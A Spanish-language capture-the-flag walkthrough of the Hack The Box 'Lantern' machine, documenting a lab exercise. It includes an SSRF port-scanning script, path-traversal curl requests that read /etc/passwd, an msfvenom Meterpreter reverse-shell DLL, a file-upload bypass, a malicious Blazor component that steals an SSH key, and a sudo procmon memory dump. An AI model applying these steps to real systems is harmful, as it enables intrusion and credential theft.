Hack The Box: Lantern Writeup | Hard

Table of Contents

TCP Enumeration

1rustscan -a 10.129.233.201 --ulimit 5000 -g 
210.129.233.201 -> [22,80,3000]
  1nmap -p22,80,3000 -sCV 10.129.233.201 -oN allPorts
  2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-23 17:01 CEST
  3Stats: 0:01:35 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
  4Service scan Timing: About 100.00% done; ETC: 17:02 (0:00:00 remaining)
  5Nmap scan report for 10.129.233.201
  6Host is up (0.037s latency).
  7
  8PORT     STATE SERVICE VERSION
  922/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
 10| ssh-hostkey: 
 11|   256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
 12|_  256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
 1380/tcp   open  http    Skipper Proxy
 14|_http-server-header: Skipper Proxy
 15|_http-title: Did not follow redirect to http://lantern.htb/
 16| fingerprint-strings: 
 17|   FourOhFourRequest: 
 18|     HTTP/1.0 404 Not Found
 19|     Content-Length: 207
 20|     Content-Type: text/html; charset=utf-8
 21|     Date: Fri, 23 Aug 2024 13:01:32 GMT
 22|     Server: Skipper Proxy
 23|     <!doctype html>
 24|     <html lang=en>
 25|     <title>404 Not Found</title>
 26|     <h1>Not Found</h1>
 27|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
 28|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
 29|     HTTP/1.1 400 Bad Request
 30|     Content-Type: text/plain; charset=utf-8
 31|     Connection: close
 32|     Request
 33|   GetRequest: 
 34|     HTTP/1.0 302 Found
 35|     Content-Length: 225
 36|     Content-Type: text/html; charset=utf-8
 37|     Date: Fri, 23 Aug 2024 13:01:27 GMT
 38|     Location: http://lantern.htb/
 39|     Server: Skipper Proxy
 40|     <!doctype html>
 41|     <html lang=en>
 42|     <title>Redirecting...</title>
 43|     <h1>Redirecting...</h1>
 44|     <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
 45|   HTTPOptions: 
 46|     HTTP/1.0 200 OK
 47|     Allow: HEAD, OPTIONS, GET
 48|     Content-Length: 0
 49|     Content-Type: text/html; charset=utf-8
 50|     Date: Fri, 23 Aug 2024 13:01:27 GMT
 51|_    Server: Skipper Proxy
 523000/tcp open  ppp?
 53| fingerprint-strings: 
 54|   GetRequest: 
 55|     HTTP/1.1 500 Internal Server Error
 56|     Connection: close
 57|     Content-Type: text/plain; charset=utf-8
 58|     Date: Fri, 23 Aug 2024 13:01:31 GMT
 59|     Server: Kestrel
 60|     System.UriFormatException: Invalid URI: The hostname could not be parsed.
 61|     System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
 62|     System.Uri..ctor(String uriString, UriKind uriKind)
 63|     Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
 64|     Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
 65|     Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
 66|     Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
 67|     Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
 68|   HTTPOptions: 
 69|     HTTP/1.1 200 OK
 70|     Content-Length: 0
 71|     Connection: close
 72|     Date: Fri, 23 Aug 2024 13:01:36 GMT
 73|     Server: Kestrel
 74|   Help: 
 75|     HTTP/1.1 400 Bad Request
 76|     Content-Length: 0
 77|     Connection: close
 78|     Date: Fri, 23 Aug 2024 13:01:31 GMT
 79|     Server: Kestrel
 80|   RTSPRequest: 
 81|     HTTP/1.1 505 HTTP Version Not Supported
 82|     Content-Length: 0
 83|     Connection: close
 84|     Date: Fri, 23 Aug 2024 13:01:37 GMT
 85|     Server: Kestrel
 86|   SSLSessionReq, TerminalServerCookie: 
 87|     HTTP/1.1 400 Bad Request
 88|     Content-Length: 0
 89|     Connection: close
 90|     Date: Fri, 23 Aug 2024 13:01:52 GMT
 91|_    Server: Kestrel
 922 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
 93==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
 94SF-Port80-TCP:V=7.94SVN%I=7%D=8/23%Time=66C8A444%P=x86_64-pc-linux-gnu%r(G
 95SF:etRequest,18F,"HTTP/1\.0\x20302\x20Found\r\nContent-Length:\x20225\r\nC
 96SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nDate:\x20Fri,\x2023\x20A
 97SF:ug\x202024\x2013:01:27\x20GMT\r\nLocation:\x20http://lantern\.htb/\r\nS
 98SF:erver:\x20Skipper\x20Proxy\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>
 99SF:\n<title>Redirecting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\
100SF:x20should\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x
101SF:20URL:\x20<a\x20href=\"http://lantern\.htb/\">http://lantern\.htb/</a>\
102SF:.\x20If\x20not,\x20click\x20the\x20link\.\n")%r(HTTPOptions,A5,"HTTP/1\
103SF:.0\x20200\x20OK\r\nAllow:\x20HEAD,\x20OPTIONS,\x20GET\r\nContent-Length
104SF::\x200\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nDate:\x20Fri,
105SF:\x2023\x20Aug\x202024\x2013:01:27\x20GMT\r\nServer:\x20Skipper\x20Proxy
106SF:\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
107SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
108SF:\n400\x20Bad\x20Request")%r(FourOhFourRequest,162,"HTTP/1\.0\x20404\x20
109SF:Not\x20Found\r\nContent-Length:\x20207\r\nContent-Type:\x20text/html;\x
110SF:20charset=utf-8\r\nDate:\x20Fri,\x2023\x20Aug\x202024\x2013:01:32\x20GM
111SF:T\r\nServer:\x20Skipper\x20Proxy\r\n\r\n<!doctype\x20html>\n<html\x20la
112SF:ng=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>\n<p>T
113SF:he\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20server\.\
114SF:x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20check\x2
115SF:0your\x20spelling\x20and\x20try\x20again\.</p>\n")%r(GenericLines,67,"H
116SF:TTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20ch
117SF:arset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(He
118SF:lp,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plai
119SF:n;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reques
120SF:t")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
121SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
122SF:\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x20Bad
123SF:\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnect
124SF:ion:\x20close\r\n\r\n400\x20Bad\x20Request");
125==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
126SF-Port3000-TCP:V=7.94SVN%I=7%D=8/23%Time=66C8A449%P=x86_64-pc-linux-gnu%r
127SF:(GetRequest,114E,"HTTP/1\.1\x20500\x20Internal\x20Server\x20Error\r\nCo
128SF:nnection:\x20close\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n
129SF:Date:\x20Fri,\x2023\x20Aug\x202024\x2013:01:31\x20GMT\r\nServer:\x20Kes
130SF:trel\r\n\r\nSystem\.UriFormatException:\x20Invalid\x20URI:\x20The\x20ho
131SF:stname\x20could\x20not\x20be\x20parsed\.\n\x20\x20\x20at\x20System\.Uri
132SF:\.CreateThis\(String\x20uri,\x20Boolean\x20dontEscape,\x20UriKind\x20ur
133SF:iKind,\x20UriCreationOptions&\x20creationOptions\)\n\x20\x20\x20at\x20S
134SF:ystem\.Uri\.\.ctor\(String\x20uriString,\x20UriKind\x20uriKind\)\n\x20\
135SF:x20\x20at\x20Microsoft\.AspNetCore\.Components\.NavigationManager\.set_
136SF:BaseUri\(String\x20value\)\n\x20\x20\x20at\x20Microsoft\.AspNetCore\.Co
137SF:mponents\.NavigationManager\.Initialize\(String\x20baseUri,\x20String\x
138SF:20uri\)\n\x20\x20\x20at\x20Microsoft\.AspNetCore\.Components\.Server\.C
139SF:ircuits\.RemoteNavigationManager\.Initialize\(String\x20baseUri,\x20Str
140SF:ing\x20uri\)\n\x20\x20\x20at\x20Microsoft\.AspNetCore\.Mvc\.ViewFeature
141SF:s\.StaticComponentRenderer\.<InitializeStandardComponentServicesAsync>g
142SF:__InitializeCore\|5_0\(HttpContext\x20httpContext\)\n\x20\x20\x20at\x20
143SF:Microsoft\.AspNetCore\.Mvc\.ViewFeatures\.StaticC")%r(Help,78,"HTTP/1\.
144SF:1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20cl
145SF:ose\r\nDate:\x20Fri,\x2023\x20Aug\x202024\x2013:01:31\x20GMT\r\nServer:
146SF:\x20Kestrel\r\n\r\n")%r(HTTPOptions,6F,"HTTP/1\.1\x20200\x20OK\r\nConte
147SF:nt-Length:\x200\r\nConnection:\x20close\r\nDate:\x20Fri,\x2023\x20Aug\x
148SF:202024\x2013:01:36\x20GMT\r\nServer:\x20Kestrel\r\n\r\n")%r(RTSPRequest
149SF:,87,"HTTP/1\.1\x20505\x20HTTP\x20Version\x20Not\x20Supported\r\nContent
150SF:-Length:\x200\r\nConnection:\x20close\r\nDate:\x20Fri,\x2023\x20Aug\x20
151SF:2024\x2013:01:37\x20GMT\r\nServer:\x20Kestrel\r\n\r\n")%r(SSLSessionReq
152SF:,78,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConn
153SF:ection:\x20close\r\nDate:\x20Fri,\x2023\x20Aug\x202024\x2013:01:52\x20G
154SF:MT\r\nServer:\x20Kestrel\r\n\r\n")%r(TerminalServerCookie,78,"HTTP/1\.1
155SF:\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20clo
156SF:se\r\nDate:\x20Fri,\x2023\x20Aug\x202024\x2013:01:52\x20GMT\r\nServer:\
157SF:x20Kestrel\r\n\r\n");
158Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
159
160Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
161Nmap done: 1 IP address (1 host up) scanned in 97.82 seconds

UDP Enumeration

 1sudo nmap --top-ports 1500 10.129.233.201 -sU --min-rate 5000 -n -Pn -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-23 17:03 CEST
 3Nmap scan report for 10.129.233.201
 4Host is up (0.036s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 719374/udp closed unknown
 820445/udp closed unknown
 925036/udp closed unknown
1026026/udp closed unknown
1128745/udp closed unknown
1249182/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds

HTTP Enumeration

En el escaneo inicial detectamos el dominio lantern.htb, lo añadimos al /etc/hosts

También en el puerto 3000 vemos un servidor Kestrel, un servidor que alberga aplicaciones ASP.NET.

También el puerto 80 vemos un proxy Skipper https://github.com/zalando/skipper

Un proxy inverso hecho por zalando.

80/TCP

1whatweb http://lantern.htb
2http://lantern.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Skipper Proxy], IP[10.129.233.201], Meta-Author[Devcrud], Script, Title[Lantern]

whatweb no reporta ningún CMS.

Vemos un recurso main.js que contiene una función que hace una petición POST a /submit Write-up Image

Esto me olió a un rabbit hole, así que pasé a enumerar el puerto 3000.

3000/TCP

Write-up Image

Podemos ver los típicos comentarios en aplicaciones .NET Write-up Image

Detecté viendo los recursos de red del navegador, que al intentar iniciar sesión no se hace ninguna petición por detrás. Eso significa que de alguna forma la aplicación sabe la contraseña para iniciar sesión por lo que tiene que estar hardcodeado de alguna forma.

En una máquina que realicé anteriormente se conseguía información privilegiada a través de descargar archivos .dll en la ruta de /_framework/*. Por lo cual supongo que tienen que ir por ahí los tiros.

Después de no encontrar nada tras un rato, encontré esto. Una extensión para analizar el tráfico de Blazor en Burpsuite Podemos descargarlo de aquí Write-up Image

Server-Side Request Forgery

Después de comerme la cabeza volví a analizar el puerto 80 y encontré que la versión de Skipper es vulnerable a SSRF https://www.exploit-db.com/exploits/51111

Agregando la cabecera X-Skipper-Proxy y nuestra IP. Write-up Image

1python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.233.201 - - [23/Aug/2024 17:58:06] code 404, message File not found
410.129.233.201 - - [23/Aug/2024 17:58:06] "GET http://lantern.htb/ HTTP/1.1" 404 -

Vamos a intentar listar servicios internos, para ello vamos a hacer un pequeño script en python.

Discovering Internal Services

Le pregunté a ChatGPT una lista de puertos comunes de servicios web para intentar interactuar con ellos a través del SSRF.

 1import requests
 2from pwn import * 
 3
 4BASE_URL = "http://lantern.htb"
 5BASE_LENGTH = 20
 6SSRF_HEADER = "X-Skipper-Proxy"
 7
 8puertos_http = [
 9    80,    # HTTP estándar
10    8080,  # HTTP alternativo
11    443,   # HTTPS estándar
12    8443,  # HTTPS alternativo
13    8000,  # Desarrollo de servidores locales
14    8888,  # Jupyter notebooks
15    8880,  # Alternativa HTTP
16    81,    # HTTP secundario, a veces utilizado para cámaras web y otros dispositivos
17    591,   # FileMaker, servicios web
18    280,   # http-mgmt
19    631,   # IPP (Internet Printing Protocol)
20    8008,  # Alternativa HTTP, utilizado a veces por proxies o servicios de API
21    8081,  # HTTP alternativo, a menudo usado para servidores web o proxies
22    8090,  # HTTP alternativo, a veces utilizado para proxies
23    9080,  # HTTP alternativo, a menudo usado en entornos de desarrollo
24    4848,  # GlassFish Administration Console
25    9000,  # Servicios web como SonarQube, PHP-FPM
26    9081,  # Servicios alternativos o de desarrollo
27    7001,  # WebLogic Administration Console
28    8444,  # HTTPS alternativo, a veces utilizado en entornos de desarrollo
29    35357, # OpenStack Identity (Keystone) Admin API
30    5000,  # Desarrollo local con Flask y otros frameworks
31]
32
33def scan():
34    p = log.progress("Probando con: ")
35    for port in puertos_http:
36        p.status(port)
37        headers = {
38            SSRF_HEADER: f"http://127.0.0.1:{port}"
39        }
40        r = requests.get(BASE_URL,headers = headers)
41        if len(r.text) != BASE_LENGTH:
42            log.success(f"Hay algo en el puerto -> {port}")
43
44if __name__ == "__main__":
45    scan()
1python3 scan.py 
2[p] Probando con: : 5000
3[+] Hay algo en el puerto -> 80
4[+] Hay algo en el puerto -> 8000
5[+] Hay algo en el puerto -> 5000

Después de investigar un poco vemos que el puerto 80 corresponde a la aplicación principal, la aplicación del puerto 8000 también.

Pero la aplicación del puerto 5000 corresponde a otra aplicación Blazor distinta que la del puerto 3000

Ignorar el file://, por alguna razón igualmente resuelve a la dirección interna con el file:// Write-up Image

Descubrí que podemos leer las rutas internas introduciendo en la cabecera el servicio donde apuntamos pero debemos apuntar al recurso deseado de forma normal,. Write-up Image

De esta forma, dirigiéndonos a http://lanterp.htb/_framework/blazor.webassembly.js apunta mediante la cabecera X-Skipper-Proxy a http://lantern.htb:5000/_framework/blazor.webassembly.js

Encontramos un archivo blazor.boot.json Write-up Image

Este archivo contiene los archivos .dll necesarios junto a su hash SHA-256 https://learn.microsoft.com/en-us/aspnet/core/blazor/host-and-deploy/webassembly-caching/?view=aspnetcore-8.0

When Blazor WebAssembly downloads an app’s startup files, it instructs the browser to perform integrity checks on the responses. Blazor sends SHA-256 hash values for DLL (.dll), WebAssembly (.wasm), and other files in the blazor.boot.json file.

Debido a mi experiencia con anteriores máquinas, en estos .dll puede haber información confidencial. Vamos a buscar algún dll que no sea de Microsoft.

Suele tener el formato Company.Resource.dll

1cat blazor.boot.json | grep Lantern
2  "entryAssembly": "InternaLantern",
3      "InternaLantern.dll": "sha256-pblWkC\/PhCCSxn1VOi3fajA0xS3mX\/\/RC0XvAE\/n5cI="
4      "InternaLantern.pdb": "sha256-E8WICkNg65vorw8OEDOe6K9nJxL0QSt1S4SZoX5rTOY="

Decompiling InternaLantern.dll -> Information Leakage

Vamos a descargar el recurso InternaLantern.dll

 1wget http://lantern.htb/_framework/InternaLantern.dll --header 'X-Skipper-Proxy: http://127.0.0.1:5000'
 2--2024-08-23 18:28:50--  http://lantern.htb/_framework/InternaLantern.dll
 3Resolving lantern.htb (lantern.htb)... 10.129.233.201
 4Connecting to lantern.htb (lantern.htb)|10.129.233.201|:80... connected.
 5HTTP request sent, awaiting response... 200 OK
 6Length: 55808 (54K) [application/octet-stream]
 7Saving to: ‘InternaLantern.dll’
 8
 9InternaLantern.dll     100%[==========================>]  54,50K  --.-KB/s    in 0,07s   
10
112024-08-23 18:28:50 (747 KB/s) - ‘InternaLantern.dll’ saved [55808/55808]
12
13┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/lantern/content]
14└──╼ [★]$ file InternaLantern.dll 
15InternaLantern.dll: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

Ahora con dotPeek podemos decompilar este dll para ver que contiene.

Vemos que en la clase Vacancies hay algunos datos hardcodeados de algunos empleados Write-up Image

Y vemos unas credenciales… Write-up Image admin:AJbFA_Q@925p9ap#22

También detectamos que de almacenamiento se utiliza SQLite3 y el nombre del fichero es Data.db Write-up Image

Con estas credenciales podemos iniciar sesión en el panel administrativo del puerto 3000. Write-up Image

Me llama la atención la función para subir archivos. Write-up Image

Efectivamente los archivos se suben. Write-up Image

Me encontré con el siguiente error. Write-up Image

Quiero pensar que si consigo subir un .dll malicioso a esa ruta conseguiré ejecutar comandos en el sistema.

Aunque podemos hacer un Path Traversal y cargar el dll del directorio images Write-up Image

Probé a crear un dll con msfvenom

1msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.50 LPORT=443 -f dll > evil.dll
2[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
3[-] No arch selected, selecting arch: x86 from the payload
4No encoder specified, outputting raw payload
5Payload size: 354 bytes
6Final size of dll file: 9216 bytes

Pero sigue saliendo este error. Write-up Image

Lateral Thinking -> Path Traversal

Como podemos ver el archivo app.py podemos ver el código fuente de la aplicación del puerto 80

1@app.route('/PrivacyAndPolicy')
2def sendPolicyAgreement():
3    lang = request.args.get('lang')
4    file_ext = request.args.get('ext')
5    try:
6            return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}') 
7    except: 
8            return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')

Vemos esta sección de código en el cual detectamos que es vulnerable a Path Traversal

A través de los parámetros lang y ext se puede especificar un archivo /blabla/blalblab/blalbaba/lang.ext Si hacemos que lang valga un . y que ext valga por ejemplo /../../../../../../etc/passwd

La ruta sería la siguiente: /blabla/blalblab/blalbaba/../../../../../../../etc/passwd

 1curl 'http://lantern.htb/PrivacyAndPolicy?lang=.&ext=/../../../../etc/passwd'
 2root:x:0:0:root:/root:/bin/bash
 3daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 4bin:x:2:2:bin:/bin:/usr/sbin/nologin
 5sys:x:3:3:sys:/dev:/usr/sbin/nologin
 6sync:x:4:65534:sync:/bin:/bin/sync
 7games:x:5:60:games:/usr/games:/usr/sbin/nologin
 8man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 9lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
10mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
11news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
12uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
13proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
14www-data:x:33:33:www-data:/var/www/sites:/usr/sbin/nologin
15backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
16list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
17irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
18gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
19nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
20_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
21systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
22systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
23messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
24systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
25pollinate:x:105:1::/var/cache/pollinate:/bin/false
26sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
27syslog:x:107:113::/home/syslog:/usr/sbin/nologin
28uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
29tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
30tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
31landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
32fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
33usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
34tomas:x:1000:1000:tomas:/home/tomas:/bin/bash
35lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
36_laurel:x:998:998::/var/log/laurel:/bin/false

Ahora recordemos que había una BBDD SQLite3 llamada Data.sql

Después de un rato esto no sirvió de nada.

En el panel de administración vemos que SI existe un módulo Logs.dll

Podríamos intentar descargarnos este DLL a ver como se ve. Write-up Image

Recordemos que gracias al error anterior, la ruta de este archivo es /opt/components/Logs.dll

Vamos a descargar este archivo mediante el Path Traversal.

1curl 'http://lantern.htb/PrivacyAndPolicy?lang=.&ext=/../../../../opt/components/Logs.dll' -o Logs.dll
2  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
3                                 Dload  Upload   Total   Spent    Left  Speed
4100  8192  100  8192    0     0   102k      0 --:--:-- --:--:-- --:--:--  103k
5┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/lantern/content]
6└──╼ [★]$ file Logs.dll 
7Logs.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

Me di cuenta de que el DLL que hemos creado anteriormente no es un componente válido de ASP.NET por eso no ejecuta ningún comando. Write-up Image

Podríamos intentar crear nuestro propio componente de ASP.NET, compilarlo, subirlo y probar a ver si ejecuta un comando…

Antes de hacerlo me di cuenta de lo siguiente Write-up Image

Por alguna razón no carga el componente Logs por lo cual antes de hacer nada necesito una forma para poder subir archivos en /opt/components

Arbitrary File Upload

Después de probar un rato, podemos encontrar que se hace una especie de verificación por detrás al subir un archivo utilizando la funcionalidad del panel de administración Upload content

Y es que intenté modificar el nombre del archivo que estaba subiendo (intentando subir el archivo Logs.dll original) a ../../../../../../opt/components/Loga.dll pero por alguna razón no se subía.

Sin embargo, intente subir el archivo y al interceptar la petición la renombre para que el archivo se llamase Loga.dll en vez de Logs.dll y me dejó subir el archivo, así que supuse que esto es por la longitud del archivo.

Si renombramos el archivo para que la longitud sea la misma que ../../../../../../../../opt/components/Loga.dll (47 caracteres) Write-up Image

Ahora si intentamos subir el archivo e interceptamos la petición.. Write-up Image

Y renombramos el archivo.. Write-up Image

Conseguimos la subida del archivo. En principio debe de estar en /opt/components/Loga.dll Write-up Image

Creating Malicious Blazor Component | Foothold

Si intentamos hacer uso de la funcionalidad para cargar el módulo vemos que nos da un error distinto, esto significa que hemos cargado correctamente el archivo en la ruta especificada, pero está buscando un Loga.Component , quiero pensar que es una clase dentro del namespace, además el namespace en principio es Logs y no Loga. Write-up Image

Voy a instalar el SDK de .NET en mi Parrot siguiendo esta guía de Microsoft https://learn.microsoft.com/en-us/dotnet/core/install/linux-scripted-manual#scripted-install

Creamos la clase

1dotnet new classlib -n wawo

Agregamos las librerías de ASP.NET

1dotnet add package Microsoft.AspNetCore.Components --version 6.0.0

Write-up Image

Modificamos el archivo Wawo.cs para seguir la estructura del Logs.dll y cargar por ejemplo el /etc/hosts y mostrarlo por pantalla

 1using Microsoft.AspNetCore.Components;
 2using Microsoft.AspNetCore.Components.Rendering;
 3using System.IO;
 4namespace wawo
 5{
 6    public class Component : ComponentBase
 7    {
 8        protected override void BuildRenderTree(RenderTreeBuilder builder)
 9        {
10            base.BuildRenderTree(builder);
11            builder.AddContent(0, File.ReadAllText("/etc/passwd"));
12        }
13    }
14}

Compilamos…

1dotnet build -c Release

Y si hacemos el proceso de subida (renombrar, interceptar y renombrar)… Write-up Image

Eso ha sido muy tedioso…

Tuve suerte porque intenté cargar el archivo /home/tomas/.ssh/id_rsa y existió, esto me quito el proceso de tener que mandarme una reverse shell…

Write-up Image

Write-up Image

Ahora podemos formatear esta clave privada con la ayuda de samltools

Y conseguimos conectarnos por SSH!

 1ssh -i id_rsa.tomas tomas@lantern.htb
 2The authenticity of host 'lantern.htb (10.129.233.201)' can't be established.
 3ED25519 key fingerprint is SHA256:TDl7Vj5oD2AZDjVsj4t27pGKbPAUTS5AeP37kKzubpw.
 4This key is not known by any other names.
 5Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
 6Warning: Permanently added 'lantern.htb' (ED25519) to the list of known hosts.
 7Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-118-generic x86_64)
 8
 9 * Documentation:  https://help.ubuntu.com
10 * Management:     https://landscape.canonical.com
11 * Support:        https://ubuntu.com/pro
12
13 System information as of Fri Aug 23 05:23:00 PM UTC 2024
14
15  System load:           0.04
16  Usage of /:            65.6% of 8.76GB
17  Memory usage:          23%
18  Swap usage:            0%
19  Processes:             220
20  Users logged in:       0
21  IPv4 address for eth0: 10.129.233.201
22  IPv6 address for eth0: dead:beef::250:56ff:fe94:7c4d
23
24
25Expanded Security Maintenance for Applications is not enabled.
26
270 updates can be applied immediately.
28
29Enable ESM Apps to receive additional future security updates.
30See https://ubuntu.com/esm or run: sudo pro status
31
32
33The list of available updates is more than a week old.
34To check for new updates run: sudo apt update
35
36You have mail.
37Last login: Thu Aug 15 13:00:50 2024 from 10.10.14.46
38tomas@lantern:~$ whoami
39tomas

Privilege Escalation

Obtaining root credentials dumping memory with procmon

Podemos detectar que el usuario tomas puede ejecutar como el usuario que quiera el binario procmon

1tomas@lantern:/tmp$ sudo -l
2Matching Defaults entries for tomas on lantern:
3    env_reset, mail_badpass,
4    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
5    use_pty
6
7User tomas may run the following commands on lantern:
8    (ALL : ALL) NOPASSWD: /usr/bin/procmon

Corriendo el pspy64 vemos lo siguiente.

Cada diez minutos parece haber una tarea CRON por detrás que ejecuta nano y abre ese archivo. Write-up Image

nano al ejecutarse guarda la data en memoria ya que tiene que guardarlo en algún lado, podríamos intentar conseguir esta data con procmon para leer cual es el contenido del script.

Bien, podemos utilizar para ello procmon, tiene un parámetro -p para indicar el PID del proceso a monitorizar.

Luego podemos exportar este archivo con el parámetro -e -c FILENAME

1sudo procmon -p 25232 -c output -e write

Esperamos un rato a que se ejecute el proceso y hacemos CTRL + C

Vemos que el archivo exportado es un archivo SQLite

1tomas@lantern:/tmp$ file output
2output: SQLite 3.x database, last written using SQLite version 3027002, file counter 1, database pages 52, cookie 0x1, schema 4, UTF-8, version-valid-for 1

Nos podemos compartir este archivo a nuestra máquina y ver que contiene.

Contiene 3 tablas.

1sqlite> .tables
2ebpf      metadata  stats

Decoding the data

Voy a abrirlo con sqlitebrowser para trabajar mas cómodamente.

Vemos que hay data en formato blob.

Ya he trabajado varias veces en esta situación y la solución mas fácil es convertir esta data a hexadecimal utilizando la función hex y luego con CyberChef Convirtiendo la data de hexadecimal para ver que contiene. Write-up Image

Write-up Image

Y vemos un echo eso es buena señal. Write-up Image

Con SQLite3 vamos a exportar todo esto a un archivo.

Tras un buen rato de investigación esta es la consulta ganadora.

1SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;

La consulta está buscando eventos en la tabla ebpf donde hubo una operación exitosa o con resultado positivo (indicada por resultcode > 0). De esos eventos, está extrayendo una subcadena específica de los datos (arguments), comenzando en la posición 9 y con una longitud dictada por resultcode. Luego, convierte esta subcadena en un formato hexadecimal para su análisis. Finalmente, ordena los resultados en función del tiempo en que ocurrieron los eventos.

1sqlite3 output.db 
2SQLite version 3.40.1 2022-12-28 14:03:47
3Enter ".help" for usage hints.
4sqlite> .output data.txt
5sqlite> SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;
6sqlite> .exit

Este archivo vamos a cargarlo en CyberChef y a descargar el output.. Write-up Image

Vemos lo siguiente…

 1cat /home/pointedsec/Downloads/download.dat 
 2prog tag mismatch 7dbbaacckkuupp..sshh
 3
 4
 5
 6
 7
 8
 9
10
11e
12e
13echo Q 33Ee
14e
15echo Q 33EEddddttddww33ppMMBB | s uuddoo . //bbaacc

Q33EEddddttddww33ppMMBB no es la contraseña…

